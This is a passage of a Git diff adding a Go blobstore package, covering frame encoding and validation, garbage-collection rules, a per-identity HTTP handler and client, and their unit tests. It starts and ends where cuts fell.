+ if len(h.Objects) == 0 { + return Header{}, bad("frame holds no object") + } + return h, nil +} + +// carve cuts the payload into the objects the header names. Objects must start +// at zero and follow each other with no gap and no overlap, and must cover the +// payload exactly, so no byte of a frame is unaccounted for. +func carve(refs []ObjectRef, payload []byte) ([]Object, error) { + objects := make([]Object, 0, len(refs)) + seen := make(map[string]bool, len(refs)) + var next uint64 + for _, ref := range refs { + if err := checkRef(ref, next, seen); err != nil { + return nil, err + } + end := next + uint64(ref.Len) + if end > uint64(len(payload)) { + return nil, bad("object runs past the payload") + } + // The capacity is cut to the length so an append by a caller cannot + // overwrite the next object in the frame. + body := payload[next:end:end] + if !hasObjectMagic(body) { + return nil, bad("object is not sealed") + } + seen[ref.RID] = true + objects = append(objects, Object{RID: ref.RID, Bytes: body}) + next = end + } + if next != uint64(len(payload)) { + return nil, bad("payload holds bytes no object names") + } + return objects, nil +} + +// checkRef checks what a reference can say without looking at the payload. +func checkRef(ref ObjectRef, want uint64, seen map[string]bool) error { + switch { + case !ValidRID(ref.RID): + return bad("object id is not 64 lowercase hex") + case seen[ref.RID]: + return bad("object id appears twice") + case ref.Off != want: + return bad("objects are not contiguous") + } + return nil +} + +// bad is the one way this package says a frame is unacceptable. +func bad(why string) error { + return fmt.Errorf("%w: %s", ErrBadFrame, why) +} diff --git a/internal/blobstore/frame_test.go b/internal/blobstore/frame_test.go new file mode 100644 index 0000000000..dac65421ac --- /dev/null +++ b/internal/blobstore/frame_test.go @@ -0,0 +1,98 @@ +package blobstore_test + +import ( + "crypto/sha256" + "encoding/hex" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +const testKey = "00000000000000000000000000000000" + +func obj(name, body string) blobstore.Object { + sum := sha256.Sum256([]byte(name)) + return blobstore.Object{RID: hex.EncodeToString(sum[:]), Bytes: []byte("AGEO\x01" + body)} +} + +func TestEncodeDecodeRoundTrip(t *testing.T) { + in := []blobstore.Object{obj("a", "one"), obj("b", ""), obj("c", "three")} + frame, err := blobstore.Encode(testKey, in) + if err != nil { + t.Fatal(err) + } + h, out, err := blobstore.Decode(frame) + if err != nil { + t.Fatal(err) + } + if h.V != 1 || h.CellKeyID != testKey || len(h.Objects) != 3 { + t.Fatalf("header = %+v", h) + } + for i := range in { + if out[i].RID != in[i].RID || string(out[i].Bytes) != string(in[i].Bytes) { + t.Fatalf("object %d = %q, want %q", i, out[i].Bytes, in[i].Bytes) + } + } +} + +func TestDecodeAppendCannotReachNextObject(t *testing.T) { + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one"), obj("b", "two")}) + _, out, err := blobstore.Decode(frame) + if err != nil { + t.Fatal(err) + } + _ = append(out[0].Bytes, "XXXX"...) + if string(out[1].Bytes) != "AGEO\x01two" { + t.Fatalf("append through the first object changed the second: %q", out[1].Bytes) + } +} + +func TestEncodeRefusesWhatDecodeRefuses(t *testing.T) { + cases := map[string][]blobstore.Object{ + "no objects": nil, + "plaintext": {{RID: obj("a", "").RID, Bytes: []byte("hello")}}, + "bad rid": {{RID: "nope", Bytes: []byte("AGEO\x01x")}}, + "duplicate": {obj("a", "x"), obj("a", "x")}, + } + for name, objects := range cases { + if _, err := blobstore.Encode(testKey, objects); !errors.Is(err, blobstore.ErrBadFrame) { + t.Errorf("%s: Encode = %v, want ErrBadFrame", name, err) + } + } +} + +func TestIDOfIsSHA256OfTheFrame(t *testing.T) { + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "x")}) + sum := sha256.Sum256(frame) + if got := blobstore.IDOf(frame); got != hex.EncodeToString(sum[:]) { + t.Fatalf("IDOf = %s", got) + } +} + +func TestValidRID(t *testing.T) { + good := strings.Repeat("0123456789abcdef", 4) + cases := map[string]bool{ + good: true, + good[:63]: false, + good + "0": false, + strings.ToUpper(good): false, + strings.Repeat("g", 64): false, + "": false, + strings.Repeat("a", 63) + "/": false, + } + for s, want := range cases { + if got := blobstore.ValidRID(s); got != want { + t.Errorf("ValidRID(%q) = %v, want %v", s, got, want) + } + } +} + +func TestEncodeRefusesABadCellKeyID(t *testing.T) { + for _, id := range []string{"", "abc", strings.Repeat("A", 32), testKey + "0"} { + if _, err := blobstore.Encode(id, []blobstore.Object{obj("a", "x")}); !errors.Is(err, blobstore.ErrBadFrame) { + t.Errorf("Encode with cell key id %q = %v, want ErrBadFrame", id, err) + } + } +} diff --git a/internal/blobstore/gc.go b/internal/blobstore/gc.go new file mode 100644 index 0000000000..5c1c9ef08e --- /dev/null +++ b/internal/blobstore/gc.go @@ -0,0 +1,66 @@ +package blobstore + +import "time" + +// The garbage-collection rules for append-only frames (contract §22.9). Frames +// are never deleted today; this file is the design as executable rules, so the +// Worker and the Go relay sweep to the same answer when the sweeps land. What +// the sweeps still need is the multi-location index: `objs` keeps one row per +// rid (first location wins), so deleting a frame could strand an object +// another frame also holds. Until that index exists these rules are only +// tested, never run. +// +// The rules, in one paragraph: a frame is live while any cell record's plan +// names it, or it is younger than a grace window (a publish in flight has +// uploaded frames no record names yet), or it is the vault frame the identity +// record names. A sweep tombstones a collectible frame first and deletes its +// bytes only after a second, longer window, so a take that read a plan just +// before the sweep still finishes: its frame get is answered or 404s into the +// want loop, and both are correct. Rotation (contract §20) is unaffected: the +// retire sweep deletes the whole namespace, and no sweep runs while a rotation +// is frozen or retiring. + +// LiveFrames marks the frames a sweep must keep, by the rule above. `frames` +// is every frame the relay holds with its put time; `plans` is the frames +// field of every live cell record; `vault` is the identity's vault frame, "" +// when there is none; `cutoff` is now minus the grace window. +func LiveFrames(frames map[FrameID]time.Time, plans [][]string, vault FrameID, cutoff time.Time) map[FrameID]bool { + live := make(map[FrameID]bool, len(frames)) + for _, plan := range plans { + for _, id := range plan { + live[FrameID(id)] = true + } + } + if vault != "" { + live[vault] = true + } + for id, put := range frames { + if put.After(cutoff) { + live[id] = true + } + } + return live +} + +// Locations is the multi-location index a sweep requires: every frame that +// holds an object, not only the first one written. +type Locations map[string][]Location + +// DropFrame retires one frame from the index: an object it held keeps the +// locations its other frames give it, and an object no other frame holds is +// gone. Gets and locates read any row that is left, so the object stays +// answerable while one live frame carries it. +func DropFrame(locs Locations, frame FrameID) Locations { + out := make(Locations, len(locs)) + for rid, at := range locs { + for _, l := range at { + if l.Frame != frame { + out[rid] = append(out[rid], l) + } + } + if len(out[rid]) == 0 { + delete(out, rid) + } + } + return out +} diff --git a/internal/blobstore/gc_test.go b/internal/blobstore/gc_test.go new file mode 100644 index 0000000000..4ca0d985db --- /dev/null +++ b/internal/blobstore/gc_test.go @@ -0,0 +1,54 @@ +package blobstore + +import ( + "testing" + "time" +) + +// The mark rule (contract §22.9): plans, the vault frame and young frames are +// live; an old frame nothing names is collectible. +func TestLiveFramesMarksPlansVaultAndYoung(t *testing.T) { + now := time.Now() + old := now.Add(-72 * time.Hour) + frames := map[FrameID]time.Time{ + "planned": old, + "vaulted": old, + "fresh": now.Add(-time.Minute), + "abandoned": old, + } + plans := [][]string{{"planned", "also-planned"}} + live := LiveFrames(frames, plans, "vaulted", now.Add(-24*time.Hour)) + for _, id := range []FrameID{"planned", "also-planned", "vaulted", "fresh"} { + if !live[id] { + t.Errorf("%s must be live", id) + } + } + if live["abandoned"] { + t.Error("an old frame no plan names must be collectible") + } +} + +// The re-point rule: an object in two frames stays answerable after the first +// frame is tombstoned; an object only in the tombstoned frame is gone. +func TestDropFrameKeepsObjectsAnotherFrameHolds(t *testing.T) { + locs := Locations{ + "shared": {{Frame: "first", Off: 0, Len: 10}, {Frame: "second", Off: 4, Len: 10}}, + "only": {{Frame: "first", Off: 10, Len: 5}}, + } + locs = DropFrame(locs, "first") + if got := locs["shared"]; len(got) != 1 || got[0].Frame != "second" { + t.Errorf("shared object must keep its second location, got %v", got) + } + if _, ok := locs["only"]; ok { + t.Error("an object no other frame holds must be gone") + } +} + +// Dropping a frame never invents locations and never touches other frames. +func TestDropFrameIsExact(t *testing.T) { + locs := Locations{"a": {{Frame: "keep", Off: 0, Len: 1}}} + locs = DropFrame(locs, "absent") + if got := locs["a"]; len(got) != 1 || got[0].Frame != "keep" { + t.Errorf("dropping an absent frame changed the index: %v", got) + } +} diff --git a/internal/blobstore/getmany.go b/internal/blobstore/getmany.go new file mode 100644 index 0000000000..e3542f26d0 --- /dev/null +++ b/internal/blobstore/getmany.go @@ -0,0 +1,36 @@ +package blobstore + +import "errors" + +// gatherPrefix is GetMany for any store that can answer one object at a time: +// it reads rids in order until a frame's worth of bytes is in hand, and stops +// short at an absent object once it has one. Every implementation answers the +// same prefix this way, so the wire and the fake cannot disagree about it. +func gatherPrefix(rids []string, get func(rid string) ([]byte, error)) ([]Object, error) { + var out []Object + size := 0 + for _, rid := range rids { + if size >= TargetFrame { + break + } + b, err := get(rid) + if errors.Is(err, ErrNotFound) && len(out) > 0 { + break + } + if err != nil { + return nil, err + } + out = append(out, Object{RID: rid, Bytes: b}) + size += len(b) + } + return out, nil +} + +// sizeOf is the bytes the objects hold, which is what a Get of each would count. +func sizeOf(objects []Object) int64 { + var n int64 + for _, o := range objects { + n += int64(len(o.Bytes)) + } + return n +} diff --git a/internal/blobstore/handler.go b/internal/blobstore/handler.go new file mode 100644 index 0000000000..054b31df07 --- /dev/null +++ b/internal/blobstore/handler.go @@ -0,0 +1,380 @@ +package blobstore + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// Handler serves the store wire (contract §3) over one Store per identity: +// open is asked once for each identity that authenticates, and that identity +// only ever reaches the Store open gave it. It logs nothing, so no body, and +// no id inside one, can leak through it. +func Handler(auth wireauth.Authenticate, open func(identity string) (Store, error)) http.Handler { + return HandlerAt(time.Now, auth, open) +} + +// HandlerAt is Handler with an injected clock for the Codeaf-Now header. +func HandlerAt(now func() time.Time, auth wireauth.Authenticate, open func(identity string) (Store, error)) http.Handler { + h := &handler{now: now, auth: auth, open: open, tenants: map[string]*tenant{}, arriving: newFlight()} + mux := http.NewServeMux() + mux.Handle("POST "+pathFrames, h.route(MaxFrame, (*tenant).putFrame, true)) + mux.Handle("GET "+pathObjects+"{rid}", h.route(maxSmallBody, (*tenant).getObject, false)) + mux.Handle("POST "+pathMany, h.route(maxSmallBody, (*tenant).getMany, false)) + mux.Handle("POST "+pathHas, h.route(maxSmallBody, (*tenant).has, false)) + mux.Handle("GET "+pathFrames+"/{frame}", h.route(maxSmallBody, (*tenant).getFrame, false)) + mux.Handle("POST "+pathLocate, h.route(maxSmallBody, (*tenant).locate, false)) + mux.Handle("GET "+pathStats, h.route(maxSmallBody, (*tenant).statsReply, false)) + return h.stamped(mux) +} + +type handler struct { + now func() time.Time + auth wireauth.Authenticate + open func(identity string) (Store, error) + + mu sync.Mutex + tenants map[string]*tenant + + // arriving counts puts whose identity is not known yet: the signature + // covers the body, so a put cannot be attributed until it has been read. + arriving *flight +} + +// tenant is one identity's namespace: its store and the server's own count of +// what that identity asked of it. The count is taken at the store boundary, +// so it equals what a Memory store logs for the same requests. +type tenant struct { + store Store + inflight *flight // puts of this identity being received or stored + arriving *flight // the handler's puts that belong to no identity yet + puts, gets, hases atomic.Int64 + bytesIn, bytesOut atomic.Int64 +} + +// reply is a success answer: a content type, the bytes, and the status and +// extra header a verb needs beyond the 200 every other one answers. +type reply struct { + ctype string + body []byte + status int // 0 means 200 + header string // one extra header value, for Content-Range +} + +func jsonReply(v any) reply { return reply{ctype: "application/json", body: mustJSON(v)} } + +// serveFunc answers one verb for one tenant. Errors it returns go on the wire +// through the code table. +type serveFunc func(t *tenant, ctx context.Context, r *http.Request, body []byte) (reply, error) + +// stamped puts the server clock on every answer, refusals included, because +// a client that was refused for skew needs the time most of all. +func (h *handler) stamped(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set(nowHeader, strconv.FormatInt(h.now().UnixMilli(), 10)) + next.ServeHTTP(w, r) + }) +} + +// route wraps a verb in the steps every verb shares, in the order that keeps +// an unauthenticated caller cheap: cap the body, read it, prove the sender, +// find the namespace, serve. +// +// A put counts as arriving from its first byte, and becomes its identity's +// in-flight put the moment the identity is known, with no gap between the two, +// so Has can wait for it (see flight). +func (h *handler) route(limit int64, serve serveFunc, isPut bool) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + unattributed := h.arrive(isPut) + defer unattributed() + body, err := readCapped(w, r, limit) + if err != nil { + writeErr(w, err) + return + } + t, err := h.tenantFor(r, body) + if err != nil { + writeErr(w, err) + return + } + if isPut { + defer t.inflight.enter()() + } + unattributed() + out, err := serve(t, r.Context(), r, body) + if err != nil { + writeErr(w, err) + return + } + w.Header().Set("Content-Type", out.ctype) + if out.header != "" { + w.Header().Set("Content-Range", out.header) + } + if out.status != 0 { + w.WriteHeader(out.status) + } + _, _ = w.Write(out.body) + }) +} + +// arrive records a put's arrival, and answers the function that ends it. Any +// other verb has nothing to record. +func (h *handler) arrive(isPut bool) func() { + if !isPut { + return func() {} + } + return h.arriving.enter() +} + +// errTooLarge marks a body over its cap; it is the one refusal with its own status. +var errTooLarge = errors.New("blobstore: body over the limit") + +// readCapped reads the body through http.MaxBytesReader, which stops at the +// cap instead of after the whole body, so an oversized upload costs the +// server at most limit+1 bytes and the connection is closed on it. +func readCapped(w http.ResponseWriter, r *http.Request, limit int64) ([]byte, error) { + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, limit)) + var tooBig *http.MaxBytesError + switch { + case errors.As(err, &tooBig): + return nil, errTooLarge + case err != nil: + return nil, ErrUnreachable // the caller's connection broke mid-body + } + return body, nil +} + +// tenantFor authenticates the request and returns the sender's namespace. +func (h *handler) tenantFor(r *http.Request, body []byte) (*tenant, error) { + id, _, err := h.auth(r, body) + if err != nil { + return nil, refusal(err) + } + h.mu.Lock() + defer h.mu.Unlock() + if t, ok := h.tenants[id]; ok { + return t, nil + } + s, err := h.open(id) + if err != nil { + return nil, err + } + t := &tenant{store: s, inflight: newFlight(), arriving: h.arriving} + h.tenants[id] = t + return t, nil +} + +// refusal narrows every authentication failure to the three the wire names. +func refusal(err error) error { return wireauth.Narrow(err) } + +func (t *tenant) putFrame(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + t.puts.Add(1) + t.bytesIn.Add(int64(len(body))) + id, err := t.store.PutFrame(ctx, body) + if err != nil { + return reply{}, err + } + // The store has accepted the frame, so decoding it again cannot fail; it + // is done here so the object count does not depend on which Store answered. + _, objects, err := Decode(body) + if err != nil { + return reply{}, err + } + return jsonReply(putAnswer{Frame: id, Objects: len(objects)}), nil +} + +func (t *tenant) getObject(ctx context.Context, r *http.Request, _ []byte) (reply, error) { + t.gets.Add(1) + b, err := t.store.Get(ctx, r.PathValue("rid")) + if err != nil { + return reply{}, err + } + t.bytesOut.Add(int64(len(b))) + return reply{ctype: "application/octet-stream", body: b}, nil +} + +// getFrame answers one whole frame, or the single byte range the caller asked +// for. A frame is immutable, so a range needs no revalidation and the only +// well-formed request beyond the whole frame is one bytes=a-b header. +func (t *tenant) getFrame(ctx context.Context, r *http.Request, _ []byte) (reply, error) { + t.gets.Add(1) + b, err := t.store.GetFrame(ctx, r.PathValue("frame")) + if err != nil { + return reply{}, err + } + resp, err := rangedFrame(r.Header.Get("Range"), b) + if err != nil { + return reply{}, err + } + // Stats count the bytes the answer serves, the same number the Worker + // counts: a ranged get is a smaller answer, not a smaller object. + t.bytesOut.Add(int64(len(resp.body))) + return resp, nil +} + +// errRange is a Range header no single answer can serve: malformed, several +// ranges, or a start past the frame's end. The Worker answers the same +// header with range_not_satisfiable, and both relays must agree (§22.3). +var errRange = errors.New("blobstore: range not satisfiable") + +// rangedFrame answers the whole frame at 200, or its single requested range +// at 206 with a Content-Range. An open-ended range serves to the frame's end, +// and an end past the end is clamped to it, the two forms a resumable fetch +// uses; a header that is not exactly one such range is errRange. +func rangedFrame(rng string, frame []byte) (reply, error) { + if rng == "" { + return reply{ctype: "application/octet-stream", body: frame}, nil + } + start, end, ok := parseByteRange(rng, uint64(len(frame))) + if !ok { + return reply{}, errRange + } + return reply{ + ctype: "application/octet-stream", + body: frame[start : end+1], + status: http.StatusPartialContent, + header: fmt.Sprintf("bytes %d-%d/%d", start, end, len(frame)), + }, nil +} + +// parseByteRange reads the one range form a frame fetch may use: "bytes=a-b" +// with a and b digits and a no larger than b, or "bytes=a-" to the frame's +// end. The end may name a byte past the frame and is clamped; anything else — +// several ranges, no prefix, a start past the end of the frame — is not a +// request the verb can serve, and says so with ok = false. +func parseByteRange(header string, size uint64) (start, end uint64, ok bool) { + const form = "bytes=" + if !strings.HasPrefix(header, form) || strings.Contains(header, ",") { + return 0, 0, false + } + spec := strings.TrimPrefix(header, form) + dash := strings.IndexByte(spec, '-') + if dash < 0 { + return 0, 0, false + } + var a, b error + start, a = strconv.ParseUint(spec[:dash], 10, 63) + if spec[dash+1:] == "" { + end = size - 1 // open-ended: to the frame's end + } else { + end, b = strconv.ParseUint(spec[dash+1:], 10, 63) + } + if a != nil || b != nil || start > end || start >= size { + return 0, 0, false + } + if end >= size { + end = size - 1 // clamped: a resumable fetch may guess the frame's end + } + return start, end, true +} + +// locate answers, per rid, where the object lies. It is an index read that +// does not wait for a put in flight, unlike Has: a location exists only after +// the frame it names is durable, so there is nothing to wait for. +func (t *tenant) locate(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + var req locateRequest + if err := json.Unmarshal(body, &req); err != nil { + return reply{}, errBadRequest + } + t.hases.Add(1) + at, err := t.store.Locate(ctx, req.Rids) + if err != nil { + return reply{}, err + } + return jsonReply(locateAnswer{At: at}), nil +} + +// getMany answers a batch of rids with one frame holding the objects the store +// gave, whichever Store is behind it. +func (t *tenant) getMany(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + var req getManyRequest + if err := json.Unmarshal(body, &req); err != nil || len(req.Rids) == 0 { + return reply{}, errBadRequest + } + t.gets.Add(1) + objects, err := t.store.GetMany(ctx, req.Rids) + if err != nil { + return reply{}, err + } + frame, err := Encode(manyKeyID, objects) + if err != nil { + return reply{}, err + } + t.bytesOut.Add(sizeOf(objects)) + return reply{ctype: "application/octet-stream", body: frame}, nil +} + +func (t *tenant) has(ctx context.Context, _ *http.Request, body []byte) (reply, error) { + var req hasRequest + if err := json.Unmarshal(body, &req); err != nil { + return reply{}, errBadRequest + } + t.hases.Add(1) + if err := t.settle(ctx); err != nil { + return reply{}, err + } + have, err := t.store.Has(ctx, req.Rids) + if err != nil { + return reply{}, err + } + return jsonReply(hasAnswer{Have: have}), nil +} + +// settle waits for the puts Has must not overtake, for at most BaseTimeout +// or until the caller gives up, and then reports the relay as unreachable +// rather than answer no: a stuck put must not hang Has, and must not make it lie. +func (t *tenant) settle(ctx context.Context) error { + ctx, cancel := context.WithTimeout(ctx, BaseTimeout) + defer cancel() + if err := waitIdle(ctx, t.inflight, t.arriving); err != nil { + return ErrUnreachable + } + return nil +} + +func (t *tenant) statsReply(context.Context, *http.Request, []byte) (reply, error) { + return jsonReply(statsBody{ + Puts: t.puts.Load(), Gets: t.gets.Load(), Has: t.hases.Load(), + BytesIn: t.bytesIn.Load(), BytesOut: t.bytesOut.Load(), + }), nil +} + +// errBadRequest is a body the wire could not parse; it has no §2.1 name. +var errBadRequest = errors.New("blobstore: malformed request") + +// writeErr answers a failure. The three refusals the handler makes itself get +// their statuses here; every store error goes through the code table, and an +// error the table does not know is the server's fault, not the caller's. +func writeErr(w http.ResponseWriter, err error) { + switch { + case errors.Is(err, errTooLarge): + send(w, http.StatusRequestEntityTooLarge, "bad_frame", 0) + case errors.Is(err, errBadRequest): + send(w, http.StatusBadRequest, "bad_request", 0) + case errors.Is(err, errRange): + send(w, http.StatusRequestedRangeNotSatisfiable, "range_not_satisfiable", 0) + default: + code, status, ok := codeOf(err) + if !ok { + code, status = "internal", http.StatusInternalServerError + } + send(w, status, code, LimitOf(err)) + } +} + +// send answers with the code and, when the relay has a byte ceiling to name, the ceiling. +func send(w http.ResponseWriter, status int, code string, limit int64) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _, _ = w.Write(mustJSON(errBody{Err: code, LimitBytes: limit})) +} diff --git a/internal/blobstore/http.go b/internal/blobstore/http.go new file mode 100644 index 0000000000..a620fba863 --- /dev/null +++ b/internal/blobstore/http.go @@ -0,0 +1,195 @@ +package blobstore + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// HTTP is a Store that lives behind the store wire (contract §3). Every +// request is signed, so the far side knows whose namespace it is. +type HTTP struct { + base string + sign wireauth.Sign + hc *http.Client + + // deadline sizes each request's time limit from its body; a test swaps it + // to make a modest frame time out. + deadline func(bodyBytes int) time.Duration +} + +// NewHTTP returns a client for the store wire at base, which may carry a path prefix. +// A nil hc means http.DefaultClient. +func NewHTTP(base string, sign wireauth.Sign, hc *http.Client) *HTTP { + if hc == nil { + hc = http.DefaultClient + } + return &HTTP{base: base, sign: sign, hc: hc, deadline: Deadline} +} + +// PutFrame implements Store. +func (c *HTTP) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + var out putAnswer + if err := c.doJSON(ctx, http.MethodPost, pathFrames, frame, &out); err != nil { + return "", err + } + return out.Frame, nil +} + +// Get implements Store. The id is checked here as well as on the server, +// because it becomes part of a URL and a hostile one must not rewrite the path. +func (c *HTTP) Get(ctx context.Context, rid string) ([]byte, error) { + if err := checkGet(rid); err != nil { + return nil, err + } + return c.do(ctx, http.MethodGet, pathObjects+rid, nil) +} + +// GetMany implements Store: one request, answered by a frame holding a prefix of +// the objects asked for. The frame is decoded with the same checks as any +// other, and its objects must be that prefix, in order, or the answer is +// refused, so a relay cannot hand a taker objects it did not ask for. +func (c *HTTP) GetMany(ctx context.Context, rids []string) ([]Object, error) { + if len(rids) == 0 { + return nil, nil + } + if err := checkMany(rids); err != nil { + return nil, err + } + frame, err := c.do(ctx, http.MethodPost, pathMany, mustJSON(getManyRequest{Rids: rids})) + if err != nil { + return nil, err + } + _, objects, err := Decode(frame) + if err != nil || !isPrefix(objects, rids) { + return nil, fmt.Errorf("%w: the answer to a GetMany is not the objects asked for", ErrUnreachable) + } + return objects, nil +} + +// isPrefix says whether objects are exactly the first len(objects) of rids. +func isPrefix(objects []Object, rids []string) bool { + if len(objects) > len(rids) { + return false + } + for i, o := range objects { + if o.RID != rids[i] { + return false + } + } + return true +} + +// GetFrame implements Store. The id is checked here as well as on the server, +// because it becomes part of a URL and a hostile one must not rewrite the +// path. The answer is verified against the id — it is the hash of the bytes — +// so a wrong answer degrades like a missing one instead of failing a take at +// import. +func (c *HTTP) GetFrame(ctx context.Context, frame string) ([]byte, error) { + if err := checkGet(frame); err != nil { + return nil, err + } + b, err := c.do(ctx, http.MethodGet, pathFrames+"/"+frame, nil) + if err != nil { + return nil, err + } + if IDOf(b) != frame { + return nil, fmt.Errorf("%w: frame %s answered bytes that are not it", ErrDamaged, frame) + } + return b, nil +} + +// Locate implements Store: one request answering where each held rid lies. +func (c *HTTP) Locate(ctx context.Context, rids []string) (map[string]Location, error) { + if rids == nil { + rids = []string{} + } + var out locateAnswer + if err := c.doJSON(ctx, http.MethodPost, pathLocate, mustJSON(locateRequest{Rids: rids}), &out); err != nil { + return nil, err + } + return out.At, nil +} + +// Has implements Store. +func (c *HTTP) Has(ctx context.Context, rids []string) ([]bool, error) { + if rids == nil { + rids = []string{} + } + var out hasAnswer + if err := c.doJSON(ctx, http.MethodPost, pathHas, mustJSON(hasRequest{Rids: rids}), &out); err != nil { + return nil, err + } + return out.Have, nil +} + +// Stats asks the server for its own count of this identity's requests. +func (c *HTTP) Stats(ctx context.Context) (Counts, error) { + var out statsBody + err := c.doJSON(ctx, http.MethodGet, pathStats, nil, &out) + return Counts(out), err +} + +// Counts is the server's tally for one identity since it started. +type Counts struct { + Puts, Gets, Has, BytesIn, BytesOut int64 +} + +func (c *HTTP) doJSON(ctx context.Context, method, path string, body []byte, into any) error { + raw, err := c.do(ctx, method, path, body) + if err != nil { + return err + } + if err := json.Unmarshal(raw, into); err != nil { + return fmt.Errorf("%w: unreadable answer from %s", ErrUnreachable, path) + } + return nil +} + +// do sends one signed request and answers the body of a 200, or the error the +// answer names. It never retries: a skew refusal must reach the person once. +func (c *HTTP) do(ctx context.Context, method, path string, body []byte) ([]byte, error) { + ctx, limit := startBudget(ctx, c.deadline, len(body)) + defer limit.done() + req, err := http.NewRequestWithContext(ctx, method, wireauth.Endpoint(c.base, path), bytes.NewReader(body)) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + c.sign(req, body) + resp, err := c.hc.Do(req) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + defer resp.Body.Close() + limit.answering(resp.ContentLength) + answer, err := io.ReadAll(io.LimitReader(resp.Body, MaxFrame+1)) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + if resp.StatusCode == http.StatusOK { + return answer, nil + } + return nil, answerError(resp.StatusCode, resp.Header, answer) +} + +// answerError turns a non-200 answer into an error: the code the server named, +// else a 5xx as "unreachable" (the server is not doing its job now, so +// callers degrade), else a plain error carrying the status. A refusal keeps the +// Retry-After the relay sent with it. +func answerError(status int, h http.Header, answer []byte) error { + var e errBody + _ = json.Unmarshal(answer, &e) + if named := errOf(e.Err); named != nil { + return Capped(wireauth.Wait(fmt.Errorf("%w (%d)", named, status), h), e.LimitBytes) + } + if status >= 500 { + return fmt.Errorf("%w: server answered %d", ErrUnreachable, status) + } + return fmt.Errorf("blobstore: server refused with %d %q", status, e.Err) +} diff --git a/internal/blobstore/http_test.go b/internal/blobstore/http_test.go new file mode 100644 index 0000000000..3824315f88 --- /dev/null +++ b/internal/blobstore/http_test.go @@ -0,0 +1,376 @@ +package blobstore_test + +import ( + "bytes" + "context" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "strconv" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/blobstore/blobstoretest" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// The wire tests use the fake sign/authenticate pair of contract §16: the +// client writes who it is into a header and the server believes it. Real +// signing is reqsign's business and is bound only in the relay. +const identityHeader = "X-Test-Device" + +func fakeSign(identity string) wireauth.Sign { + return func(r *http.Request, _ []byte) { r.Header.Set(identityHeader, identity) } +} + +// fakeAuth refuses a request with no identity, and reports skew for the +// identity named "skewed" so a test can watch the client meet it. +func fakeAuth(r *http.Request, _ []byte) (string, string, error) { + switch id := r.Header.Get(identityHeader); id { + case "": + return "", "", wireauth.ErrUnauthorized + case "skewed": + return "", "", wireauth.ErrSkew + default: + return id, "dev_" + id, nil + } +} + +// rig is a store server over one Memory per identity. +type rig struct { + srv *httptest.Server + mu sync.Mutex + mem map[string]*blobstore.Memory +} + +func newRig(t *testing.T) *rig { + t.Helper() + g := &rig{mem: map[string]*blobstore.Memory{}} + g.srv = httptest.NewServer(blobstore.Handler(fakeAuth, func(id string) (blobstore.Store, error) { + return g.memory(id), nil + })) + t.Cleanup(g.srv.Close) + return g +} + +func (g *rig) memory(id string) *blobstore.Memory { + g.mu.Lock() + defer g.mu.Unlock() + if g.mem[id] == nil { + g.mem[id] = blobstore.NewMemory() + } + return g.mem[id] +} + +func (g *rig) client(id string) *blobstore.HTTP { + return blobstore.NewHTTP(g.srv.URL, fakeSign(id), g.srv.Client()) +} + +// failingHTTP lets the conformance suite make the server's store fail, as it +// does for the fake, by reaching through to the Memory behind the wire. +type failingHTTP struct { + *blobstore.HTTP + mem *blobstore.Memory +} + +func (f failingHTTP) FailAfter(n int, err error) { f.mem.FailAfter(n, err) } + +func TestHTTPConformance(t *testing.T) { + blobstoretest.Run(t, func(t *testing.T) blobstore.Store { + g := newRig(t) + return failingHTTP{g.client("alice"), g.memory("alice")} + }) +} + +func frame(t *testing.T, name string) (blobstore.Object, []byte) { + t.Helper() + body := append([]byte("AGEO\x01"), name...) + rid := strings.Repeat("0", 64-len(strconv.Itoa(len(name)))) + strconv.Itoa(len(name)) + o := blobstore.Object{RID: rid, Bytes: body} + f, err := blobstore.Encode(strings.Repeat("a", 32), []blobstore.Object{o}) + if err != nil { + t.Fatal(err) + } + return o, f +} + +func TestHandlerStats(t *testing.T) { + g := newRig(t) + c := g.client("alice") + ctx := context.Background() + o, f := frame(t, "one") + _, _ = c.PutFrame(ctx, f) + _, _ = c.PutFrame(ctx, f) + _, _ = c.Get(ctx, o.RID) + _, _ = c.Get(ctx, strings.Repeat("f", 64)) // a miss still counts as a request + _, _ = c.Has(ctx, []string{o.RID}) + + var want blobstore.Counts + for _, op := range g.memory("alice").Log() { + switch op.Kind { + case "put": + want.Puts++ + want.BytesIn += op.Bytes + case "get": + want.Gets++ + want.BytesOut += op.Bytes + case "has": + want.Has++ + } + } + got, err := c.Stats(ctx) + if err != nil || got != want { + t.Fatalf("stats = %+v, %v; the server's request log says %+v", got, err, want) + } + if other, _ := g.client("bob").Stats(ctx); other != (blobstore.Counts{}) { + t.Fatalf("another identity sees stats %+v, want zeros", other) + } +} + +// Identity X asking for identity Y's object gets 404, not 401: the answer is +// the same as for an object that never existed, so a caller cannot learn +// whether some other identity holds a given id. A 401 would confirm it does. +func TestHandlerNamespacesByIdentity(t *testing.T) { + g := newRig(t) + o, f := frame(t, "secret") + ctx := context.Background() + if _, err := g.client("alice").PutFrame(ctx, f); err != nil { + t.Fatal(err) + } + if got, err := g.client("alice").Get(ctx, o.RID); err != nil || !bytes.Equal(got, o.Bytes) { + t.Fatalf("owner Get = 